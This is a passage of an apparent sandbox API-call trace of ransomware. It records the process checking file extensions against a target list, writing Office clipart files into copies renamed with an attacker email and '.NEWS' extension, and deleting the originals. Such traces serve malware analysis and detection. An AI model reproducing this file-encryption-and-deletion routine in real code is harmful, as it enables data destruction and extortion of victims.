(lpString1=".ppt", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.681] lstrlenW (lpString=".zip") returned 4 [0092.681] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString=".rar") returned 4 [0092.681] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString=".bz2") returned 4 [0092.681] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.681] lstrlenW (lpString=".7z") returned 3 [0092.681] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.681] lstrlenW (lpString=".dbf") returned 4 [0092.681] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.681] lstrlenW (lpString=".1cd") returned 4 [0092.681] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.681] lstrlenW (lpString=".jpg") returned 4 [0092.681] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.681] lstrlenW (lpString=".doc") returned 4 [0092.681] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.681] lstrlenW (lpString=".docx") returned 5 [0092.681] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0092.681] lstrlenW (lpString=".pdf") returned 4 [0092.681] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString=".xls") returned 4 [0092.681] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.681] lstrlenW (lpString=".xlsx") returned 5 [0092.682] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0092.682] lstrlenW (lpString=".ppt") returned 4 [0092.682] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0092.682] lstrlenW (lpString=".zip") returned 4 [0092.682] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.682] lstrlenW (lpString=".rar") returned 4 [0093.088] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.105] lstrlenW (lpString=".bz2") returned 4 [0093.105] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.106] lstrlenW (lpString=".7z") returned 3 [0093.106] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0093.106] lstrlenW (lpString=".dbf") returned 4 [0093.106] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0093.106] lstrlenW (lpString=".1cd") returned 4 [0093.106] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0093.106] lstrlenW (lpString=".jpg") returned 4 [0093.106] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.106] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.106] lstrlenW (lpString="J0101865.BMP") returned 12 [0093.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.107] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=32184) returned 1 [0093.107] CloseHandle (hObject=0x36c) returned 1 [0093.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0093.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.107] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.107] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0093.108] GetLastError () returned 0x0 [0093.108] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.110] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.111] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.111] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.111] SetEndOfFile (hFile=0x35c) returned 1 [0093.111] CloseHandle (hObject=0x35c) returned 1 [0093.112] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.112] SetEndOfFile (hFile=0x36c) returned 1 [0093.113] CloseHandle (hObject=0x36c) returned 1 [0093.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0093.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.113] lstrlenW (lpString=".doc") returned 4 [0093.113] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.113] lstrlenW (lpString=".docx") returned 5 [0093.113] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0093.113] lstrlenW (lpString=".pdf") returned 4 [0093.113] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.113] lstrlenW (lpString=".xls") returned 4 [0093.113] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.113] lstrlenW (lpString=".xlsx") returned 5 [0093.113] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0093.113] lstrlenW (lpString=".ppt") returned 4 [0093.113] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.113] lstrlenW (lpString=".zip") returned 4 [0093.113] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.113] lstrlenW (lpString=".rar") returned 4 [0093.114] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".bz2") returned 4 [0093.114] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".7z") returned 3 [0093.114] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.114] lstrlenW (lpString=".dbf") returned 4 [0093.114] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.114] lstrlenW (lpString=".1cd") returned 4 [0093.114] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.114] lstrlenW (lpString=".jpg") returned 4 [0093.114] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.114] lstrlenW (lpString=".doc") returned 4 [0093.114] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".docx") returned 5 [0093.114] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0093.114] lstrlenW (lpString=".pdf") returned 4 [0093.114] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".xls") returned 4 [0093.114] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".xlsx") returned 5 [0093.114] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0093.114] lstrlenW (lpString=".ppt") returned 4 [0093.114] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.114] lstrlenW (lpString=".zip") returned 4 [0093.114] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".rar") returned 4 [0093.114] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".bz2") returned 4 [0093.114] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.114] lstrlenW (lpString=".7z") returned 3 [0093.115] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.115] lstrlenW (lpString=".dbf") returned 4 [0093.115] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.115] lstrlenW (lpString=".1cd") returned 4 [0093.115] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0093.115] lstrlenW (lpString=".jpg") returned 4 [0093.115] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.115] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.115] lstrlenW (lpString="J0101866.BMP") returned 12 [0093.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.115] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=32184) returned 1 [0093.116] CloseHandle (hObject=0x36c) returned 1 [0093.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0093.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.116] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.116] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0093.117] GetLastError () returned 0x0 [0093.117] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.118] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.120] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.120] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.120] SetEndOfFile (hFile=0x35c) returned 1 [0093.121] CloseHandle (hObject=0x35c) returned 1 [0093.121] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.121] SetEndOfFile (hFile=0x36c) returned 1 [0093.122] CloseHandle (hObject=0x36c) returned 1 [0093.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0093.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.123] lstrlenW (lpString=".doc") returned 4 [0093.123] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString=".docx") returned 5 [0093.123] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0093.123] lstrlenW (lpString=".pdf") returned 4 [0093.123] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString=".xls") returned 4 [0093.123] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString=".xlsx") returned 5 [0093.123] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0093.123] lstrlenW (lpString=".ppt") returned 4 [0093.123] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.123] lstrlenW (lpString=".zip") returned 4 [0093.123] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString=".rar") returned 4 [0093.123] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString=".bz2") returned 4 [0093.123] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.123] lstrlenW (lpString=".7z") returned 3 [0093.123] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString=".dbf") returned 4 [0093.124] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString=".1cd") returned 4 [0093.124] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString=".jpg") returned 4 [0093.124] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString=".doc") returned 4 [0093.124] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString=".docx") returned 5 [0093.124] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0093.124] lstrlenW (lpString=".pdf") returned 4 [0093.124] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString=".xls") returned 4 [0093.124] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString=".xlsx") returned 5 [0093.124] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0093.124] lstrlenW (lpString=".ppt") returned 4 [0093.124] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString=".zip") returned 4 [0093.124] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString=".rar") returned 4 [0093.124] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString=".bz2") returned 4 [0093.124] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString=".7z") returned 3 [0093.124] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.124] lstrlenW (lpString=".dbf") returned 4 [0093.124] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.125] lstrlenW (lpString=".1cd") returned 4 [0093.125] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0093.125] lstrlenW (lpString=".jpg") returned 4 [0093.125] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.125] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.125] lstrlenW (lpString="J0101867.BMP") returned 12 [0093.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.125] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=32616) returned 1 [0093.125] CloseHandle (hObject=0x36c) returned 1 [0093.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0093.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.126] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.126] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0093.126] GetLastError () returned 0x0 [0093.126] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x7f68, lpOverlapped=0x0) returned 1 [0093.128] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x7f70, lpOverlapped=0x0) returned 1 [0093.130] ReadFile (in: hFile=0x36c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.130] WriteFile (in: hFile=0x35c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.130] SetEndOfFile (hFile=0x35c) returned 1 [0093.130] CloseHandle (hObject=0x35c) returned 1 [0093.130] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.130] SetEndOfFile (hFile=0x36c) returned 1 [0093.131] CloseHandle (hObject=0x36c) returned 1 [0093.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0093.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.132] lstrlenW (lpString=".doc") returned 4 [0093.132] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString=".docx") returned 5 [0093.132] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0093.132] lstrlenW (lpString=".pdf") returned 4 [0093.132] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString=".xls") returned 4 [0093.132] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString=".xlsx") returned 5 [0093.132] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0093.132] lstrlenW (lpString=".ppt") returned 4 [0093.132] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0093.132] lstrlenW (lpString=".zip") returned 4 [0093.132] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.132] lstrlenW (lpString=".rar") returned 4 [0093.132] lstrcmpiW (lpString1=".rar", lpString2=".BMP") 